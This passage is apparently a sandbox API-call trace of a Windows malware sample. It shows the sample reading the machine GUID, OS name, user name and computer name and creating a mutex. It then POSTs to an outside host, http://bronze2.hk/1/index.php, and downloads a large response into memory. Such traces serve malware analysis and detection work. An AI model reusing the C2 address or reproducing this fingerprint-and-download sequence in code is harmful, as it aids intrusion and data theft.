[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0056.996] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x654300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x18e67c, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e678, peUse=0x18e670 | out: Name=0x0, cchName=0x18e67c, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e678, peUse=0x18e670) returned 0 [0057.001] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x18e66c | out: IsMember=0x18e66c) returned 1 [0057.001] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e604 | out: phkResult=0x18e604*=0xe0) returned 0x0 [0057.001] RegQueryValueExW (in: hKey=0xe0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e60c, lpData=0x18e404, lpcbData=0x18e608*=0xfe | out: lpType=0x18e60c*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e608*=0x4a) returned 0x0 [0057.002] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 36 [0057.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e618 | out: phkResult=0x18e618*=0xdc) returned 0x0 [0057.002] RegQueryValueExW (in: hKey=0xdc, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e620, lpData=0x18e418, lpcbData=0x18e61c*=0xfe | out: lpType=0x18e620*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e61c*=0x2e) returned 0x0 [0057.002] RegCloseKey (hKey=0x80000002) returned 0x0 [0057.002] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 22 [0057.002] GetUserNameW (in: lpBuffer=0x18e43c, pcbBuffer=0x18e438 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e438) returned 1 [0057.003] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 20 [0057.003] GetComputerNameW (in: lpBuffer=0x18e43c, nSize=0x18e438 | out: lpBuffer="XDUWTFONO", nSize=0x18e438) returned 1 [0057.003] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 9 [0057.004] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69") returned 0xe4 [0057.004] GetLastError () returned 0x0 [0057.004] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e608 | out: phkResult=0x18e608*=0xec) returned 0x0 [0057.004] RegQueryValueExW (in: hKey=0xec, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e610, lpData=0x18e408, lpcbData=0x18e60c*=0xfe | out: lpType=0x18e610*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e60c*=0x4a) returned 0x0 [0057.004] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 36 [0057.004] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e61c | out: phkResult=0x18e61c*=0xf0) returned 0x0 [0057.004] RegQueryValueExW (in: hKey=0xf0, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e624, lpData=0x18e41c, lpcbData=0x18e620*=0xfe | out: lpType=0x18e624*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e620*=0x2e) returned 0x0 [0057.004] RegCloseKey (hKey=0x80000002) returned 0x0 [0057.004] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 22 [0057.004] GetUserNameW (in: lpBuffer=0x18e440, pcbBuffer=0x18e43c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e43c) returned 1 [0057.005] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 20 [0057.005] GetComputerNameW (in: lpBuffer=0x18e440, nSize=0x18e43c | out: lpBuffer="XDUWTFONO", nSize=0x18e43c) returned 1 [0057.005] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 9 [0057.006] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x0 [0057.006] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x753d0000 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="InternetConnectA") returned 0x753f49e9 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="HttpOpenRequestA") returned 0x753f4c7d [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="HttpAddRequestHeadersA") returned 0x753edcd2 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="HttpSendRequestA") returned 0x754618f8 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCrackUrlA") returned 0x753dd075 [0057.013] GetProcAddress (hModule=0x753d0000, lpProcName="InternetSetOptionA") returned 0x753e75e8 [0057.013] InternetCrackUrlA (in: lpszUrl="http://bronze2.hk/1/index.php", dwUrlLength=0x1d, dwFlags=0x90000000, lpUrlComponents=0x18d7d4 | out: lpUrlComponents=0x18d7d4) returned 1 [0057.077] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0057.078] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x18e640, dwBufferLength=0x4) returned 1 [0057.078] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x18e640, dwBufferLength=0x4) returned 1 [0057.078] InternetConnectA (hInternet=0xcc0004, lpszServerName="bronze2.hk", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0057.078] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/1/index.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0057.079] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x23204c4*, dwOptionalLength=0x67) returned 1 [0058.569] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x25cd) returned 1 [0058.570] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x936) returned 1 [0058.626] VirtualAlloc (lpAddress=0x2324000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2324000 [0058.627] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x6fe0) returned 1 [0058.682] VirtualAlloc (lpAddress=0x2328000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2328000 [0058.683] VirtualAlloc (lpAddress=0x2330000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x2330000 [0058.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xdac0) returned 1 [0058.739] VirtualAlloc (lpAddress=0x233c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0058.739] VirtualFree (lpAddress=0x2338000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.740] VirtualFree (lpAddress=0x2324000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0058.741] VirtualAlloc (lpAddress=0x233c000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.741] VirtualAlloc (lpAddress=0x233c000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.741] VirtualAlloc (lpAddress=0x2338000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.741] VirtualAlloc (lpAddress=0x2338000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.741] VirtualAlloc (lpAddress=0x234c000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x234c000 [0058.742] VirtualFree (lpAddress=0x232c000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0058.743] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10009) returned 1 [0058.792] VirtualAlloc (lpAddress=0x2324000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2324000 [0058.793] VirtualFree (lpAddress=0x233c000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0058.793] VirtualAlloc (lpAddress=0x2364000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2364000 [0058.794] VirtualFree (lpAddress=0x2334000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.795] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x40) returned 1 [0058.795] VirtualFree (lpAddress=0x2324000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0058.795] VirtualAlloc (lpAddress=0x2374000, dwSize=0x28000, flAllocationType=0x1000, flProtect=0x4) returned 0x2374000 [0058.797] VirtualFree (lpAddress=0x2348000, dwSize=0x28000, dwFreeType=0x4000) returned 1 [0058.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xa857) returned 1 [0058.811] VirtualAlloc (lpAddress=0x2324000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x2324000 [0058.812] VirtualAlloc (lpAddress=0x239c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x239c000 [0058.812] VirtualFree (lpAddress=0x232c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1000a) returned 1 [0058.864] VirtualAlloc (lpAddress=0x232c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x232c000 [0058.876] VirtualFree (lpAddress=0x2324000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.877] VirtualAlloc (lpAddress=0x23a4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23a4000 [0058.878] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10016) returned 1 [0058.880] VirtualAlloc (lpAddress=0x233c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0058.883] VirtualFree (lpAddress=0x2328000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0058.883] VirtualAlloc (lpAddress=0x23b4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23b4000 [0058.884] VirtualFree (lpAddress=0x234c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfb4d) returned 1 [0058.886] VirtualAlloc (lpAddress=0x234c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x234c000 [0058.887] VirtualFree (lpAddress=0x2338000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0058.888] VirtualAlloc (lpAddress=0x23c4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23c4000 [0058.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10015) returned 1 [0058.915] VirtualAlloc (lpAddress=0x2324000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2324000 [0058.916] VirtualFree (lpAddress=0x2348000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0058.917] VirtualAlloc (lpAddress=0x23d4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23d4000 [0058.917] VirtualFree (lpAddress=0x2334000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xa567) returned 1 [0058.918] VirtualAlloc (lpAddress=0x2334000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x2334000 [0058.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xcc4f) returned 1 [0058.932] VirtualAlloc (lpAddress=0x233c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0058.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10009) returned 1 [0058.948] VirtualAlloc (lpAddress=0x2348000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0058.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xc1e3) returned 1 [0058.953] VirtualAlloc (lpAddress=0x2358000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2358000 [0058.955] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x2229) returned 1 [0058.955] VirtualFree (lpAddress=0x2358000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0058.956] VirtualAlloc (lpAddress=0x2418000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2418000 [0058.956] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfffa) returned 1 [0058.985] VirtualAlloc (lpAddress=0x2358000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2358000 [0058.986] VirtualAlloc (lpAddress=0x2420000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.986] VirtualAlloc (lpAddress=0x2420000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.986] VirtualAlloc (lpAddress=0x241c000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.986] VirtualAlloc (lpAddress=0x241c000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0058.986] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x3540000 [0058.986] VirtualAlloc (lpAddress=0x3540000, dwSize=0xb8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0058.988] VirtualFree (lpAddress=0x2368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.996] VirtualFree (lpAddress=0x2370000, dwSize=0xac000, dwFreeType=0x4000) returned 1 [0059.001] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x5d1) returned 1 [0059.001] VirtualFree (lpAddress=0x2354000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.002] VirtualAlloc (lpAddress=0x2324000, dwSize=0xb8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2324000 [0059.020] VirtualFree (lpAddress=0x3540000, dwSize=0xb4000, dwFreeType=0x4000) returned 1 [0059.028] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xffed) returned 1 [0059.030] VirtualAlloc (lpAddress=0x3540000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0059.030] VirtualFree (lpAddress=0x23d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.031] VirtualFree (lpAddress=0x35f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.032] VirtualAlloc (lpAddress=0x23d8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23d8000 [0059.032] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10016) returned 1 [0059.033] VirtualAlloc (lpAddress=0x3550000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3550000 [0059.034] VirtualFree (lpAddress=0x3540000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0059.035] VirtualAlloc (lpAddress=0x23e8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23e8000 [0059.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xefa6) returned 1 [0059.036] VirtualAlloc (lpAddress=0x3564000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3564000 [0059.037] VirtualFree (lpAddress=0x354c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.038] VirtualAlloc (lpAddress=0x23f8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x23f8000 [0059.038] VirtualFree (lpAddress=0x3570000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.039] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1a7) returned 1 [0059.039] VirtualFree (lpAddress=0x3560000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0059.040] VirtualFree (lpAddress=0x3540000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.042] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x3540000 [0059.042] VirtualAlloc (lpAddress=0x3540000, dwSize=0xe8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0059.054] VirtualFree (lpAddress=0x2324000, dwSize=0xe0000, dwFreeType=0x4000) returned 1 [0059.063] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfff4) returned 1 [0059.089] VirtualAlloc (lpAddress=0x2324000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2324000 [0059.090] VirtualFree (lpAddress=0x2404000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.090] VirtualAlloc (lpAddress=0x3628000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3628000 [0059.090] VirtualFree (lpAddress=0x2334000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.091] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.091] VirtualAlloc (lpAddress=0x2334000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2334000 [0059.093] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfff3) returned 1 [0059.094] VirtualAlloc (lpAddress=0x2344000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0059.095] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x289d) returned 1 [0059.096] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x16c) returned 1 [0059.117] VirtualFree (lpAddress=0x2350000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.117] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x3740000 [0059.118] VirtualAlloc (lpAddress=0x3740000, dwSize=0x38000, flAllocationType=0x1000, flProtect=0x4) returned 0x3740000 [0059.118] VirtualAlloc (lpAddress=0x365c000, dwSize=0xe4000, flAllocationType=0x1000, flProtect=0x4) returned 0x365c000 [0059.144] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfffb) returned 1 [0059.145] VirtualAlloc (lpAddress=0x3640000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0059.145] VirtualFree (lpAddress=0x3774000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.146] VirtualAlloc (lpAddress=0x3774000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3774000 [0059.148] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10008) returned 1 [0059.148] VirtualAlloc (lpAddress=0x3784000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3784000 [0059.149] VirtualFree (lpAddress=0x3640000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0059.150] VirtualAlloc (lpAddress=0x0, dwSize=0x140000, flAllocationType=0x2000, flProtect=0x1) returned 0x3860000 [0059.150] VirtualAlloc (lpAddress=0x3860000, dwSize=0x74000, flAllocationType=0x1000, flProtect=0x4) returned 0x3860000 [0059.151] VirtualAlloc (lpAddress=0x3798000, dwSize=0xc8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3798000 [0059.153] VirtualFree (lpAddress=0x3794000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfff3) returned 1 [0059.181] VirtualAlloc (lpAddress=0x3740000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3740000 [0059.183] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x39b1) returned 1 [0059.184] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x5f9) returned 1 [0059.184] VirtualFree (lpAddress=0x3750000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0059.184] VirtualAlloc (lpAddress=0x0, dwSize=0x150000, flAllocationType=0x2000, flProtect=0x1) returned 0x3540000 [0059.184] VirtualAlloc (lpAddress=0x3540000, dwSize=0x150000, flAllocationType=0x1000, flProtect=0x4) returned 0x3540000 [0059.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10004) returned 1 [0059.220] VirtualAlloc (lpAddress=0x3860000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3860000 [0059.221] 